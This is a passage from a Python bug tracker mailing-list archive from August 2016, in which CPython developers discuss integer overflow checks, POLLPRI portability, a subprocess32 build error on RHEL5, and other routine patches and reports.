python-libs-2.7.12-1.fc24.x86_64 ---------- components: Library (Lib) messages: 271796 nosy: Steve Fink priority: normal severity: normal status: open title: "stack smashing detected" in PyCursesWindow_Box type: crash versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 20:24:32 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 02 Aug 2016 00:24:32 +0000 Subject: [issue27662] Check against PY_SSIZE_T_MAX instead of PY_SIZE_MAX in List_New In-Reply-To: <1470037390.18.0.139195089898.issue27662@psf.upfronthosting.co.za> Message-ID: <1470097472.1.0.33956404463.issue27662@psf.upfronthosting.co.za> Raymond Hettinger added the comment: The whole computation on that line is in size_t, so the use of PY_SIZE_MAX seems correct. ---------- nosy: +rhettinger, tim.peters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 20:32:15 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 02 Aug 2016 00:32:15 +0000 Subject: [issue27662] Check against PY_SSIZE_T_MAX instead of PY_SIZE_MAX in List_New In-Reply-To: <1470037390.18.0.139195089898.issue27662@psf.upfronthosting.co.za> Message-ID: <1470097935.07.0.0429052976544.issue27662@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- Removed message: http://bugs.python.org/msg271797 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 20:36:32 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 02 Aug 2016 00:36:32 +0000 Subject: [issue27662] Check against PY_SSIZE_T_MAX instead of PY_SIZE_MAX in List_New In-Reply-To: <1470037390.18.0.139195089898.issue27662@psf.upfronthosting.co.za> Message-ID: <1470098192.09.0.735619046604.issue27662@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- nosy: +mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 21:22:28 2016 From: report at bugs.python.org (Martin Panter) Date: Tue, 02 Aug 2016 01:22:28 +0000 Subject: [issue27662] Check against PY_SSIZE_T_MAX instead of PY_SIZE_MAX in List_New In-Reply-To: <1470037390.18.0.139195089898.issue27662@psf.upfronthosting.co.za> Message-ID: <1470100948.06.0.695609170042.issue27662@psf.upfronthosting.co.za> Martin Panter added the comment: It looks like PyMem_RESIZE() would be a truer equivalent than PyMem_Calloc(), since PyMem_MALLOC() does not initialize the memory. I would be happy with changing to that if you want. PyMem_Malloc() has been limited to PY_SSIZE_T_MAX since Issue 2620, although the documentation only mentions ?size_t?. There is no match for ?ssize_t? etc anywhere on that page. ---------- stage: -> patch review versions: -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 21:56:58 2016 From: report at bugs.python.org (Martin Panter) Date: Tue, 02 Aug 2016 01:56:58 +0000 Subject: [issue27660] Replace size_t with Py_ssize_t as the type of local variable in list_resize In-Reply-To: <1469986809.78.0.371731130003.issue27660@psf.upfronthosting.co.za> Message-ID: <1470103018.48.0.886269558224.issue27660@psf.upfronthosting.co.za> Martin Panter added the comment: The patch looks okay to me. ---------- stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 23:20:52 2016 From: report at bugs.python.org (Martin Panter) Date: Tue, 02 Aug 2016 03:20:52 +0000 Subject: [issue1621] Do not assume signed integer overflow behavior In-Reply-To: <1197593027.35.0.00314874350765.issue1621@psf.upfronthosting.co.za> Message-ID: <1470108051.99.0.343762074803.issue1621@psf.upfronthosting.co.za> Martin Panter added the comment: Looking over r60793, the overflow check at Modules/cjkcodecs/multibytecodec.c:836 looks vulnerable to being optimized away, because it can only detect the overflow if the line above has already overflowed. Perhaps change PY_SSIZE_T_MAX to MAXDECPENDING. I wonder if any of the GCC optimization and warning modes can detect this case? Also, Python/ast.c:3988 checks using PY_SIZE_MAX, but then passes the value to PyBytes_FromStringAndSize(), which expects ssize_t and in the best case would raise SystemError. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 00:24:38 2016 From: report at bugs.python.org (Xiang Zhang) Date: Tue, 02 Aug 2016 04:24:38 +0000 Subject: [issue27662] Check against PY_SSIZE_T_MAX instead of PY_SIZE_MAX in List_New In-Reply-To: <1470037390.18.0.139195089898.issue27662@psf.upfronthosting.co.za> Message-ID: <1470111878.79.0.458510068486.issue27662@psf.upfronthosting.co.za> Xiang Zhang added the comment: Thanks for your replies. I update the patch with PyMem_Calloc. I think it's better than PyMem_Resize since we need to initialize the memory here, there is a memset(op->ob_item, 0, nbytes) below. ---------- Added file: http://bugs.python.org/file43970/List_New_Calloc.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 00:48:29 2016 From: report at bugs.python.org (Xiang Zhang) Date: Tue, 02 Aug 2016 04:48:29 +0000 Subject: [issue27558] SystemError with bare `raise` in threading or multiprocessing In-Reply-To: <1468823203.61.0.708048243679.issue27558@psf.upfronthosting.co.za> Message-ID: <1470113309.89.0.696327496765.issue27558@psf.upfronthosting.co.za> Xiang Zhang added the comment: Update the patch with Berker's suggestion: add test in test_threading instead of test_raise. Hope someone is willing to merge this. ---------- Added file: http://bugs.python.org/file43971/issue27558_v2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 01:10:57 2016 From: report at bugs.python.org (Xiang Zhang) Date: Tue, 02 Aug 2016 05:10:57 +0000 Subject: [issue1621] Do not assume signed integer overflow behavior In-Reply-To: <1197593027.35.0.00314874350765.issue1621@psf.upfronthosting.co.za> Message-ID: <1470114657.72.0.284212955625.issue1621@psf.upfronthosting.co.za> Xiang Zhang added the comment: I agree. For multibytecode, how about switching the positions of the two checks? If npendings + ctx->pendingsize overflows, the result can be anything, larger, smaller than or equal to MAXDECPENDING. For ast, although a SystemError may be raised but the message seems not obvious to the reason. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 01:44:19 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 02 Aug 2016 05:44:19 +0000 Subject: [issue27662] Check against PY_SSIZE_T_MAX instead of PY_SIZE_MAX in List_New In-Reply-To: <1470037390.18.0.139195089898.issue27662@psf.upfronthosting.co.za> Message-ID: <1470116659.69.0.904151426353.issue27662@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Mark, this is your code. Care to comment? ---------- assignee: -> mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 01:45:02 2016 From: report at bugs.python.org (Benjamin Peterson) Date: Tue, 02 Aug 2016 05:45:02 +0000 Subject: [issue27655] [Patch] Don't require presence of POLLPRI In-Reply-To: <1469889054.78.0.928788503913.issue27655@psf.upfronthosting.co.za> Message-ID: <1470116702.79.0.195197706075.issue27655@psf.upfronthosting.co.za> Benjamin Peterson added the comment: Why do you remove the flag rather than just making it a noop? ---------- nosy: +benjamin.peterson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 01:47:51 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 02 Aug 2016 05:47:51 +0000 Subject: [issue27660] Replace size_t with Py_ssize_t as the type of local variable in list_resize In-Reply-To: <1469986809.78.0.371731130003.issue27660@psf.upfronthosting.co.za> Message-ID: <1470116871.39.0.609772803572.issue27660@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- assignee: -> rhettinger nosy: +rhettinger, serhiy.storchaka, tim.peters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 02:08:43 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 02 Aug 2016 06:08:43 +0000 Subject: [issue27660] Replace size_t with Py_ssize_t as the type of local variable in list_resize In-Reply-To: <1469986809.78.0.371731130003.issue27660@psf.upfronthosting.co.za> Message-ID: <1470118123.7.0.195641862881.issue27660@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- nosy: +mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 02:10:56 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 02 Aug 2016 06:10:56 +0000 Subject: [issue27660] Replace size_t with Py_ssize_t as the type of local variable in list_resize In-Reply-To: <1469986809.78.0.371731130003.issue27660@psf.upfronthosting.co.za> Message-ID: <1470118256.57.0.350709739082.issue27660@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Unsigned type can be used for more efficient checking on integer overflow. new_allocated = (newsize >> 3) + (newsize < 9 ? 3 : 6); new_allocated += (size_t)newsize; if (new_allocated < (size_t)newsize) { PyErr_NoMemory(); return -1; } Checking "new_allocated < (size_t)newsize" can be more efficient than "new_allocated > PY_SSIZE_T_MAX - newsize". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 02:29:05 2016 From: report at bugs.python.org (Ed Schouten) Date: Tue, 02 Aug 2016 06:29:05 +0000 Subject: [issue27655] [Patch] Don't require presence of POLLPRI In-Reply-To: <1469889054.78.0.928788503913.issue27655@psf.upfronthosting.co.za> Message-ID: <1470119345.67.0.0366974042871.issue27655@psf.upfronthosting.co.za> Ed Schouten added the comment: That's a very good question. One of the goals of CloudABI's C library is to leave out definitions for things that are known not to work in the environment. For example, our doesn't contain open(), as with our security model (Capsicum), there is nothing meaningful that this function could do anyway. Though this may seem annoying, this actually saves us a lot of time by allowing us to very easily detect software that will break. The same reasoning applies to POLLPRI here. We could in theory implement it as an event that simply never triggers, but then it would be nothing more than a convoluted way of letting your program get stuck indefinitely. Also worth taking into account here: I understand why the selectmodule provides support for POLLPRI. It simply wants to expose the entire poll() interface into Python code, but I'd argue that we'd have to look at the bigger picture. Support for out-of-band data in Python is incomplete anyway. The socket module also doesn't provide a binding for sockatmark(). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 02:36:30 2016 From: report at bugs.python.org (Xiang Zhang) Date: Tue, 02 Aug 2016 06:36:30 +0000 Subject: [issue27660] Replace size_t with Py_ssize_t as the type of local variable in list_resize In-Reply-To: <1469986809.78.0.371731130003.issue27660@psf.upfronthosting.co.za> Message-ID: <1470119790.49.0.905397826214.issue27660@psf.upfronthosting.co.za> Xiang Zhang added the comment: But if you use size_t, you are checking overflow against PY_SIZE_MAX, not PY_SSIZE_T_MAX. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 02:41:38 2016 From: report at bugs.python.org (Benjamin Peterson) Date: Tue, 02 Aug 2016 06:41:38 +0000 Subject: [issue27655] [Patch] Don't require presence of POLLPRI In-Reply-To: <1469889054.78.0.928788503913.issue27655@psf.upfronthosting.co.za> Message-ID: <1470120098.95.0.386071593874.issue27655@psf.upfronthosting.co.za> Benjamin Peterson added the comment: Are you planning on sending us patches to make Python compile without open(2)? Putting #ifdef around various constants is one thing but it seems like this could become quite invasive. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 03:12:50 2016 From: report at bugs.python.org (Ed Schouten) Date: Tue, 02 Aug 2016 07:12:50 +0000 Subject: [issue27655] [Patch] Don't require presence of POLLPRI In-Reply-To: <1469889054.78.0.928788503913.issue27655@psf.upfronthosting.co.za> Message-ID: <1470121970.32.0.257294765099.issue27655@psf.upfronthosting.co.za> Ed Schouten added the comment: Believe it our not, dealing with the absence of those system calls is more contained than you'd think. What is pretty nice about Python is that (almost) all of the file system operations are performed through posixmodule.c. Most of the changes in that area are thus made to that source file (and configure.ac). Furthermore, it looks like posixmodule.c can be simplified a lot. What makes it so incredibly complex right now is that it wants to fall back to non-at() operations in case no directory file descriptor is provided, which is not needed. If that would get fixed, we'd kill two birds with one stone: the code would get a lot simpler, while almost automatically gaining support for CloudABI. But let's save this discussion for a separate thread. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 03:27:31 2016 From: report at bugs.python.org (Ethan Furman) Date: Tue, 02 Aug 2016 07:27:31 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1470122851.51.0.974733579419.issue26988@psf.upfronthosting.co.za> Ethan Furman added the comment: The 80-column thing isn't fixed yet, but I redid the patch: - removed AutoNameEnum since there was some question of casing, etc - redid the methodology of auto-generating values: instead of adding it all to the prepared namespace or the metaclass, I now look for a special method in the Enum class, and if present use that - removed settings (no AutoNumber, AutoName, nor Unique) - redid AutoEnum to use the _generate_next_value_ technique - updated docs Let me know what you think! ---------- Added file: http://bugs.python.org/file43972/issue26988.stoneleaf.03.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 04:02:39 2016 From: report at bugs.python.org (Cambridge) Date: Tue, 02 Aug 2016 08:02:39 +0000 Subject: [issue27667] subprocess32 unable to be installed via pip and python install Message-ID: <1470124959.09.0.482017076841.issue27667@psf.upfronthosting.co.za> New submission from Cambridge: OS:RHEL 5.11 PYTHON:2.7.11/12 When i use pip or python install to install this extension: pip install subprocess32-3.2.7.tar.gz The error messages: Processing ./subprocess32-3.2.7.tar.gz Installing collected packages: subprocess32 Running setup.py install for subprocess32 ... error Complete output from command /usr/bin/python -u -c "import setuptools, tokenize;__file__='/tmp/pip-ekkMER-build/setup.py';exec(compile(getattr(tokenize, 'open', open)(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-EebZzY-record/install-record.txt --single-version-externally-managed --compile: running install running build running build_py creating build creating build/lib.linux-x86_64-2.7 copying subprocess32.py -> build/lib.linux-x86_64-2.7 running build_ext building '_posixsubprocess' extension creating build/temp.linux-x86_64-2.7 gcc -pthread -fno-strict-aliasing -g -O2 -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -fPIC -I/usr/local/python-2.7/include/python2.7 -c _posixsubprocess.c -o build/temp.linux-x86_64-2.7/_posixsubprocess.o _posixsubprocess.c: In function 'subprocess_cloexec_pipe': _posixsubprocess.c:764: warning: implicit declaration of function 'pipe2' _posixsubprocess.c:764: error: 'O_CLOEXEC' undeclared (first use in this function) _posixsubprocess.c:764: error: (Each undeclared identifier is reported only once _posixsubprocess.c:764: error: for each function it appears in.) error: command 'gcc' failed with exit status 1 ---------------------------------------- Command "/usr/bin/python -u -c "import setuptools, tokenize;__file__='/tmp/pip-ekkMER-build/setup.py';exec(compile(getattr(tokenize, 'open', open)(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-EebZzY-record/install-record.txt --single-version-externally-managed --compile" failed with error code 1 in /tmp/pip-ekkMER-build/ ---------- components: Extension Modules messages: 271812 nosy: ldrljq priority: normal severity: normal status: open title: subprocess32 unable to be installed via pip and python install type: compile error versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 04:24:39 2016 From: report at bugs.python.org (Cambridge) Date: Tue, 02 Aug 2016 08:24:39 +0000 Subject: [issue27667] subprocess32 unable to be installed via pip and python install In-Reply-To: <1470124959.09.0.482017076841.issue27667@psf.upfronthosting.co.za> Message-ID: <1470126279.96.0.019862683235.issue27667@psf.upfronthosting.co.za> Cambridge added the comment: If 3.2.7 don't support RHEL5? ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 04:30:30 2016 From: report at bugs.python.org (Berker Peksag) Date: Tue, 02 Aug 2016 08:30:30 +0000 Subject: [issue27667] subprocess32 unable to be installed via pip and python install In-Reply-To: <1470124959.09.0.482017076841.issue27667@psf.upfronthosting.co.za> Message-ID: <1470126630.27.0.17130249616.issue27667@psf.upfronthosting.co.za> Berker Peksag added the comment: Thanks for the report. The stdlib version of subprocess module has a little bit codebase now (there is no subprocess_cloexec_pipe() routine anymore, for example) so we can't do anything here. Could you please report this to https://github.com/google/python-subprocess32 ? ---------- nosy: +berker.peksag resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 04:41:24 2016 From: report at bugs.python.org (SilentGhost) Date: Tue, 02 Aug 2016 08:41:24 +0000 Subject: [issue27666] "stack smashing detected" in PyCursesWindow_Box In-Reply-To: <1470095550.97.0.482934277649.issue27666@psf.upfronthosting.co.za> Message-ID: <1470127284.26.0.342134286151.issue27666@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- components: +Extension Modules -Library (Lib) nosy: +twouters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 06:35:06 2016 From: report at bugs.python.org (Christian Heimes) Date: Tue, 02 Aug 2016 10:35:06 +0000 Subject: [issue1621] Do not assume signed integer overflow behavior In-Reply-To: <1197593027.35.0.00314874350765.issue1621@psf.upfronthosting.co.za> Message-ID: <1470134106.26.0.368155962849.issue1621@psf.upfronthosting.co.za> Changes by Christian Heimes : ---------- nosy: -christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 07:36:58 2016 From: report at bugs.python.org (Rolf Krahl) Date: Tue, 02 Aug 2016 11:36:58 +0000 Subject: [issue12319] [http.client] HTTPConnection.request not support "chunked" Transfer-Encoding to send data In-Reply-To: <1307875633.83.0.874379254828.issue12319@psf.upfronthosting.co.za> Message-ID: <1470137818.79.0.45623449666.issue12319@psf.upfronthosting.co.za> Rolf Krahl added the comment: Thanks for your review! Here comes a new version of the patch. I believe I addressed all review comments. Since I didn't get any feedback on my questions raised above, I resolved them as follows: 1. I dropped the EncodingError exception introduced by an earlier version of the patch by Damien. This error is raised when the caller sets an illegal combination of headers. Since the error does not occur as a result of talking to the HTTP server, I think an HTTPException or a child thereof is just wrong. A ValueError is more appropriate here and that is what the code raises now. 2. I changed the test whether a file-like is a text stream to isText = isinstance(readable.read(0), str). This relies only on the read() method and is the most generic test. The original code would fail for StringIO and other text streams that do not have the mode attribute. Note that I needed to fix a test that violated the file object protocol with a read() method that ignored the size parameter. ---------- Added file: http://bugs.python.org/file43973/issue12319_9.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 07:46:59 2016 From: report at bugs.python.org (Martin Panter) Date: Tue, 02 Aug 2016 11:46:59 +0000 Subject: [issue26439] ctypes.util.find_library fails when ldconfig/glibc not available (e.g., AIX) In-Reply-To: <1456413023.18.0.874865601403.issue26439@psf.upfronthosting.co.za> Message-ID: <1470138419.22.0.629256161362.issue26439@psf.upfronthosting.co.za> Martin Panter added the comment: For the record, I presume you are referring to Issue 27435. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 08:09:18 2016 From: report at bugs.python.org (antoine Zellmeyer) Date: Tue, 02 Aug 2016 12:09:18 +0000 Subject: [issue27668] list illogical affectation Message-ID: <1470139758.94.0.42567832187.issue27668@psf.upfronthosting.co.za> New submission from antoine Zellmeyer: >>> tab = [['x']*3]*3 >>> tab [['x', 'x', 'x'], ['x', 'x', 'x'], ['x', 'x', 'x']] >>> tab[1][0] = 5 >>> tab [[5, 'x', 'x'], [5, 'x', 'x'], [5, 'x', 'x']] >>> why not only the element tab[1][0] is changed ? ---------- assignee: terry.reedy components: IDLE, Interpreter Core, Macintosh messages: 271817 nosy: antoine Zellmeyer, ned.deily, ronaldoussoren, terry.reedy priority: normal severity: normal status: open title: list illogical affectation type: behavior versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 08:19:26 2016 From: report at bugs.python.org (SilentGhost) Date: Tue, 02 Aug 2016 12:19:26 +0000 Subject: [issue27668] list illogical affectation In-Reply-To: <1470139758.94.0.42567832187.issue27668@psf.upfronthosting.co.za> Message-ID: <1470140366.56.0.69149089447.issue27668@psf.upfronthosting.co.za> SilentGhost added the comment: Because elements of the tab list are the same list. And since list is a mutable type, modifying list object will be visible to via all the reference / names that point to that object. There are various ways to work around this behaviour, typically a list comprehension is used. P.S. Please don't add spurious components to the issue, it adds people to the nosy list. ---------- components: -IDLE, Macintosh nosy: +SilentGhost resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 08:21:28 2016 From: report at bugs.python.org (Emanuel Barry) Date: Tue, 02 Aug 2016 12:21:28 +0000 Subject: [issue27668] list illogical affectation In-Reply-To: <1470139758.94.0.42567832187.issue27668@psf.upfronthosting.co.za> Message-ID: <1470140488.51.0.73836333081.issue27668@psf.upfronthosting.co.za> Emanuel Barry added the comment: To add to what SilentGhost just said; the '*' operator for lists doesn't create new lists, but simply creates new references to the same list (i.e. it doesn't re-evaluate the expression). To create separate lists, you can do a list comprehension such as: [['x'] * 3 for _ in range(3)] More information is available on the FAQ: https://docs.python.org/3/faq/programming.html#why-did-changing-list-y-also-change-list-x ---------- assignee: terry.reedy -> nosy: +ebarry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 09:27:45 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 02 Aug 2016 13:27:45 +0000 Subject: [issue27666] "stack smashing detected" in PyCursesWindow_Box In-Reply-To: <1470095550.97.0.482934277649.issue27666@psf.upfronthosting.co.za> Message-ID: <1470144465.53.0.880753344841.issue27666@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- nosy: +serhiy.storchaka stage: -> needs patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 09:34:09 2016 From: report at bugs.python.org (Martin Panter) Date: Tue, 02 Aug 2016 13:34:09 +0000 Subject: [issue27435] ctypes library loading and AIX - also for 2.7.X (and later) In-Reply-To: <1467383699.63.0.495142233463.issue27435@psf.upfronthosting.co.za> Message-ID: <1470144849.42.0.469463115709.issue27435@psf.upfronthosting.co.za> Martin Panter added the comment: For 2.7, adding the automatic RTLD_MEMBER mode does not seem like a bug fix to me. Currently, I understand this code could load two separate libraries: file = CDLL("libcrypto.a(libcrypto.so.1.0.0)") member = CDLL("libcrypto.a(libcrypto.so.1.0.0)", DEFAULT_MODE | 0x00040000) With your proposed change, the first line will do the same as the second line, and Python will no longer provide a way to load a file named like in the first operation. Maybe this is okay for the next version of Python 3 (because it is only breaking a rare corner case), but my view is it is not worth changing 2.7. ---------- nosy: +martin.panter title: ctypes and AIX - also for 2.7.X (and later) -> ctypes library loading and AIX - also for 2.7.X (and later) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 09:41:33 2016 From: report at bugs.python.org (Martin Panter) Date: Tue, 02 Aug 2016 13:41:33 +0000 Subject: [issue27435] ctypes library loading and AIX - also for 2.7.X (and later) In-Reply-To: <1467383699.63.0.495142233463.issue27435@psf.upfronthosting.co.za> Message-ID: <1470145293.8.0.612320530413.issue27435@psf.upfronthosting.co.za> Martin Panter added the comment: If you are still figuring out Mercurial, maybe see and if you haven?t already. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 09:51:18 2016 From: report at bugs.python.org (Berker Peksag) Date: Tue, 02 Aug 2016 13:51:18 +0000 Subject: [issue27558] SystemError with bare `raise` in threading or multiprocessing In-Reply-To: <1468823203.61.0.708048243679.issue27558@psf.upfronthosting.co.za> Message-ID: <1470145878.01.0.725200384117.issue27558@psf.upfronthosting.co.za> Berker Peksag added the comment: The test code in issue27558_v2.patch looks OK to me. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 09:55:05 2016 From: report at bugs.python.org (Martin Panter) Date: Tue, 02 Aug 2016 13:55:05 +0000 Subject: [issue27657] urlparse fails if the path is numeric In-Reply-To: <1469908637.82.0.696114480311.issue27657@psf.upfronthosting.co.za> Message-ID: <1470146105.22.0.189406057719.issue27657@psf.upfronthosting.co.za> Martin Panter added the comment: Depends on how you define ?looks like an IP address?. Does the www.cwi.nl:80 case look like an IP address? What about ?path:80? or ?localhost:80?? If there is any code relying on the bug, it may just as easily involve host name as a numeric IP address. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 10:07:03 2016 From: report at bugs.python.org (R. David Murray) Date: Tue, 02 Aug 2016 14:07:03 +0000 Subject: [issue27657] urlparse fails if the path is numeric In-Reply-To: <1469908637.82.0.696114480311.issue27657@psf.upfronthosting.co.za> Message-ID: <1470146823.54.0.190719937311.issue27657@psf.upfronthosting.co.za> R. David Murray added the comment: Ah, good point, I misread the scope of the problem. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 10:10:07 2016 From: report at bugs.python.org (Emanuel Barry) Date: Tue, 02 Aug 2016 14:10:07 +0000 Subject: [issue27242] Make the docs for NotImplemented & NotImplementedError unambiguous In-Reply-To: <1465239567.69.0.773832868585.issue27242@psf.upfronthosting.co.za> Message-ID: <1470147007.83.0.818239744678.issue27242@psf.upfronthosting.co.za> Emanuel Barry added the comment: Obligatory monthly ping. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 10:29:01 2016 From: report at bugs.python.org (Mojca Miklavec) Date: Tue, 02 Aug 2016 14:29:01 +0000 Subject: [issue24844] Python 3.5rc1 compilation error with Apple clang 4.2 included with Xcode 4 In-Reply-To: <1439312804.21.0.961990235071.issue24844@psf.upfronthosting.co.za> Message-ID: <1470148141.82.0.648517470936.issue24844@psf.upfronthosting.co.za> Changes by Mojca Miklavec : ---------- keywords: +patch Added file: http://bugs.python.org/file43974/python3.5.2-should-not-use-libatomic-with-old-clang.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 10:38:03 2016 From: report at bugs.python.org (Mojca Miklavec) Date: Tue, 02 Aug 2016 14:38:03 +0000 Subject: [issue24844] Python 3.5rc1 compilation error with Apple clang 4.2 included with Xcode 4 In-Reply-To: <1439312804.21.0.961990235071.issue24844@psf.upfronthosting.co.za> Message-ID: <1470148683.85.0.351881053233.issue24844@psf.upfronthosting.co.za> Changes by Mojca Miklavec : Added file: http://bugs.python.org/file43975/python3.5.2-should-not-use-libatomic-with-old-clang.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 10:40:19 2016 From: report at bugs.python.org (Mojca Miklavec) Date: Tue, 02 Aug 2016 14:40:19 +0000 Subject: [issue24844] Python 3.5rc1 compilation error with Apple clang 4.2 included with Xcode 4 In-Reply-To: <1439312804.21.0.961990235071.issue24844@psf.upfronthosting.co.za> Message-ID: <1470148819.97.0.963069409106.issue24844@psf.upfronthosting.co.za> Changes by Mojca Miklavec : Removed file: http://bugs.python.org/file43974/python3.5.2-should-not-use-libatomic-with-old-clang.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 11:28:11 2016 From: report at bugs.python.org (Dima Tisnek) Date: Tue, 02 Aug 2016 15:28:11 +0000 Subject: [issue9303] Migrate sqlite3 module to _v2 API to enhance performance In-Reply-To: <1279541286.68.0.824716490463.issue9303@psf.upfronthosting.co.za> Message-ID: <1470151691.83.0.480848136303.issue9303@psf.upfronthosting.co.za> Dima Tisnek added the comment: Can someone review Aviv's patch? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 11:51:38 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 02 Aug 2016 15:51:38 +0000 Subject: [issue27660] Replace size_t with Py_ssize_t as the type of local variable in list_resize In-Reply-To: <1469986809.78.0.371731130003.issue27660@psf.upfronthosting.co.za> Message-ID: <1470153098.67.0.228636933605.issue27660@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: True. Then we should use the condition "new_allocated > PY_SSIZE_T_MAX". This can be even more efficient. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 12:23:29 2016 From: report at bugs.python.org (Berker Peksag) Date: Tue, 02 Aug 2016 16:23:29 +0000 Subject: [issue6926] socket module missing IPPROTO_IPV6, IPPROTO_IPV4 In-Reply-To: <1253143086.64.0.131724035197.issue6926@psf.upfronthosting.co.za> Message-ID: <1470155009.57.0.612978742058.issue6926@psf.upfronthosting.co.za> Berker Peksag added the comment: Py_WINVER has been updated to use 0x0600 (_WIN32_WINNT_VISTA) in 57e2549cc9a6 (issue 23451) Since the consensus was to keep 2.7 as is I'm closing this as 'out of date'. ---------- nosy: +berker.peksag resolution: -> out of date stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 12:23:33 2016 From: report at bugs.python.org (Xiang Zhang) Date: Tue, 02 Aug 2016 16:23:33 +0000 Subject: [issue27660] Replace size_t with Py_ssize_t as the type of local variable in list_resize In-Reply-To: <1469986809.78.0.371731130003.issue27660@psf.upfronthosting.co.za> Message-ID: <1470155013.47.0.212413948585.issue27660@psf.upfronthosting.co.za> Xiang Zhang added the comment: So how about list_resize_v2.patch? ---------- Added file: http://bugs.python.org/file43976/list_resize_v2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 12:25:49 2016 From: report at bugs.python.org (Berker Peksag) Date: Tue, 02 Aug 2016 16:25:49 +0000 Subject: [issue24637] locals dictionary in PyRun_String In-Reply-To: <1436966586.07.0.0153968460371.issue24637@psf.upfronthosting.co.za> Message-ID: <1470155149.13.0.0102746485342.issue24637@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- nosy: +berker.peksag stage: -> patch review versions: -Python 2.7, Python 3.2, Python 3.3, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 12:32:54 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Tue, 02 Aug 2016 16:32:54 +0000 Subject: [issue24637] locals dictionary in PyRun_String In-Reply-To: <1436966586.07.0.0153968460371.issue24637@psf.upfronthosting.co.za> Message-ID: <1470155574.04.0.831767539916.issue24637@psf.upfronthosting.co.za> St?phane Wirtel added the comment: the patch makes sense for me. ---------- nosy: +matrixise 